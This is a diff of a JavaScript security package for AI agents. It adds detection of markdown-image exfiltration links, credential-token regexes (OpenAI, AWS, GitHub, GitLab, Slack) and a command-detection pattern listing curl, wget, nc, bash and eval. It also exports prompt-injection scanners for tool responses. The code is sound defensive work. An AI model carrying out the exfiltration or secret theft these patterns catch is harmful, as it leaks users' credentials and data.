function urlLooksLikeExfil(rawUrl) {
|
|
41
|
+
if (TEMPLATE_PLACEHOLDER.test(rawUrl))
|
|
42
|
+
return true;
|
|
43
|
+
const qIndex = rawUrl.indexOf('?');
|
|
44
|
+
if (qIndex === -1)
|
|
45
|
+
return false;
|
|
46
|
+
const query = rawUrl.slice(qIndex + 1);
|
|
47
|
+
if (!query)
|
|
48
|
+
return false;
|
|
49
|
+
// Inspect each key=value pair; flag if any value looks like a payload.
|
|
50
|
+
for (const pair of query.split('&')) {
|
|
51
|
+
const eq = pair.indexOf('=');
|
|
52
|
+
const value = eq === -1 ? pair : pair.slice(eq + 1);
|
|
53
|
+
if (!value)
|
|
54
|
+
continue;
|
|
55
|
+
if (value.length >= EXFIL_VALUE_MIN_LEN)
|
|
56
|
+
return true;
|
|
57
|
+
if (BASEISH_VALUE.test(value) && value.length >= 16)
|
|
58
|
+
return true;
|
|
59
|
+
if (PERCENT_RUN.test(value))
|
|
60
|
+
return true;
|
|
61
|
+
}
|
|
62
|
+
return false;
|
|
63
|
+
}
|
|
64
|
+
/**
|
|
65
|
+
* Scan content for markdown-image exfiltration links.
|
|
66
|
+
*/
|
|
67
|
+
export function detectMarkdownImageExfil(content) {
|
|
68
|
+
const urls = [];
|
|
69
|
+
MARKDOWN_IMAGE_PATTERN.lastIndex = 0;
|
|
70
|
+
let match;
|
|
71
|
+
while ((match = MARKDOWN_IMAGE_PATTERN.exec(content)) !== null) {
|
|
72
|
+
const url = match[1];
|
|
73
|
+
if (urlLooksLikeExfil(url)) {
|
|
74
|
+
urls.push(url.slice(0, 200));
|
|
75
|
+
if (urls.length >= 10)
|
|
76
|
+
break;
|
|
77
|
+
}
|
|
78
|
+
}
|
|
79
|
+
return {
|
|
80
|
+
detected: urls.length > 0,
|
|
81
|
+
urls,
|
|
82
|
+
};
|
|
83
|
+
}
|
|
@@ -5,15 +5,26 @@
|
|
|
5
5
|
* that could be fragments of a larger attack payload.
|
|
6
6
|
*/
|
|
7
7
|
import { getDatabase } from '../../database/init.js';
|
|
8
|
+
import { getCredentialRegexesByName } from '../credential-leak/patterns.js';
|
|
8
9
|
// ── Regex patterns ──
|
|
9
10
|
const URL_PATTERN = /https?:\/\/[^\s"'<>)\]]+/gi;
|
|
11
|
+
// Token-shaped provider regexes are sourced from the single source of truth
|
|
12
|
+
// (credential-leak/patterns.ts) rather than re-declared here, so there is ONE
|
|
13
|
+
// definition of "what an OpenAI / AWS / GitHub key looks like" across the
|
|
14
|
+
// codebase (Phase 17 C3). We pull only the specific prefixed-token providers
|
|
15
|
+
// this extractor already matched — NOT the broad/low-confidence heuristics
|
|
16
|
+
// (bare 32-hex, UUID) — so the set of tokens classified as `api_key` is
|
|
17
|
+
// unchanged. GitLab + the broad Slack-variant matcher have no canonical
|
|
18
|
+
// equivalent, so they stay defined locally (different scope).
|
|
10
19
|
const API_KEY_PATTERNS = [
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
20
|
+
...getCredentialRegexesByName([
|
|
21
|
+
'OpenAI API Key', // sk-...
|
|
22
|
+
'AWS Access Key ID', // AKIA...
|
|
23
|
+
'GitHub Personal Access Token', // ghp_...
|
|
24
|
+
'GitHub OAuth Token', // gho_...
|
|
25
|
+
]),
|
|
26
|
+
/glpat-[A-Za-z0-9\-_]{20,}/g, // GitLab PAT (no canonical equivalent)
|
|
27
|
+
/xox[bposa]-[A-Za-z0-9\-]+/g, // Slack tokens (broader than canonical xoxb rule)
|
|
17
28
|
];
|
|
18
29
|
const CREDENTIAL_PATTERN = /(?:token|password|secret|key|auth)[=:\s]+["']?([A-Za-z0-9_\-]{20,})["']?/gi;
|
|
19
30
|
const COMMAND_PATTERNS = /(?:^|\s)((?:curl|wget|ssh|scp|rsync|chmod|chown|rm|sudo|apt|yum|pip|npm|docker|kubectl|nc|ncat|bash|sh|python|perl|ruby|eval|exec)\s+[^\n]{3,})/gim;
|
package/dist/defence/index.d.ts
CHANGED
|
@@ -10,11 +10,16 @@ export { scoreSource, filterByTrust } from './trust/index.js';
|
|
|
10
10
|
export { analyzeFirewall } from './firewall/index.js';
|
|
11
11
|
export { classifySensitivity, redactContent, redactForDisplay } from './sensitivity/index.js';
|
|
12
12
|
export { analyzeFragmentation, storeFragmentationData } from './fragmentation/index.js';
|
|
13
|
+
export { analyzeSemanticSimilarity, SEMANTIC_SIMILARITY_THRESHOLD } from './semantic/index.js';
|
|
14
|
+
export type { SemanticAnalysisResult, Embedder } from './semantic/index.js';
|
|
15
|
+
export { ATTACK_CORPUS } from './semantic/attack-corpus.js';
|
|
13
16
|
export { scanForCredentials, redactCredentials, DEFAULT_CREDENTIAL_CONFIG } from './credential-leak/index.js';
|
|
14
17
|
export type { CredentialScanResult, CredentialFinding, CredentialDetectionConfig, CredentialType, CredentialSeverity } from './credential-leak/index.js';
|
|
15
18
|
export { logAudit, queryAuditLogs, getAuditStats } from './audit/index.js';
|
|
16
19
|
export { scanSkill, scanSkillContent, discoverSkillFiles, detectFormat, detectFormatFromContent, parseSkillFile, readSkillFile } from './skill-scanner/index.js';
|
|
17
20
|
export type { SkillScanResult, SkillScanOptions, SkillThreatFinding, ParsedSkill, SkillFormat } from './skill-scanner/index.js';
|
|
21
|
+
export { scanToolResponse, shouldScanToolResponse } from './tool-response-scanner.js';
|
|
22
|
+
export type { ToolResponseScanResult } from './types.js';
|
|
18
23
|
export { activateIronDome, deactivateIronDome, getIronDomeStatus, isChannelTrusted, isActionAllowed, scanForInjection, checkPII, handleKillPhrase, IRON_DOME_PROFILES, DEFAULT_IRON_DOME_CONFIG, } from './iron-dome/index.js';
|
|
19
24
|
export type { IronDomeConfig, IronDomeProfile, InjectionScanResult, InjectionDetection, InjectionSeverity, InjectionCategory, GatewayResult, ActionGateResult, ActionDecision, PiiCheckResult, PiiViolation, KillSwitchResult, } from './iron-dome/index.js';
|
|
20
25
|
export { getCloudConfig, setCloudConfig, clearCloudConfigCache, getTrustedSkills, addTrustedSkill, removeTrustedSkill, getDeviceId, getDeviceName, getDefenceMode, setDefenceMode, isConfigTampered, getVerifyConfig, setVerifyConfig, getOpenClawAutoMemory, setOpenClawAutoMemory, getOpenClawMemoryConfig, setOpenClawMemoryConfig } from '../cloud/config.js';
|
package/dist/defence/index.js
CHANGED
|
@@ -15,12 +15,20 @@ export { analyzeFirewall } from './firewall/index.js';
|
|
|
15
15
|
export { classifySensitivity, redactContent, redactForDisplay } from './sensitivity/index.js';
|
|
16
16
|
// Fragmentation
|
|
17
17
|
export { analyzeFragmentation, storeFragmentationData } from './fragmentation/index.js';
|
|
18
|
+
// Semantic Analysis (Layer 3 — async/deep-scan path only; degrades gracefully)
|
|
19
|
+
export { analyzeSemanticSimilarity, SEMANTIC_SIMILARITY_THRESHOLD } from './semantic/index.js';
|
|
20
|
+
export { ATTACK_CORPUS } from './semantic/attack-corpus.js';
|
|
18
21
|
// Credential Leak Detection (Layer 6)
|
|
19
22
|
export { scanForCredentials, redactCredentials, DEFAULT_CREDENTIAL_CONFIG } from './credential-leak/index.js';
|
|
20
23
|
// Audit
|
|
21
24
|
export { logAudit, queryAuditLogs, getAuditStats } from './audit/index.js';
|
|
22
25
|
// Skill Scanner
|
|
23
26
|
export { scanSkill, scanSkillContent, discoverSkillFiles, detectFormat, detectFormatFromContent, parseSkillFile, readSkillFile } from './skill-scanner/index.js';
|
|
27
|
+
// Tool Response Scanner (read-path scan; pure, no DB handle required —
|
|
28
|
+
// the audit write is guarded by isDatabaseInitialized()). Exposed here so the
|
|
29
|
+
// OpenClaw realtime plugin can scan in-process instead of shelling out to the
|
|
30
|
+
// MCP server per message.
|
|
31
|
+
export { scanToolResponse, shouldScanToolResponse } from './tool-response-scanner.js';
|
|
24
32
|
// Iron Dome — Behaviour Protection Layer
|
|
25
33
|
export { activateIronDome, deactivateIronDome, getIronDomeStatus, isChannelTrusted, isActionAllowed, scanForInjection, checkPII, handleKillPhrase, IRON_DOME_PROFILES, DEFAULT_IRON_DOME_CONFIG, } from './iron-dome/index.js';
|
|
26
34
|
// Cloud
|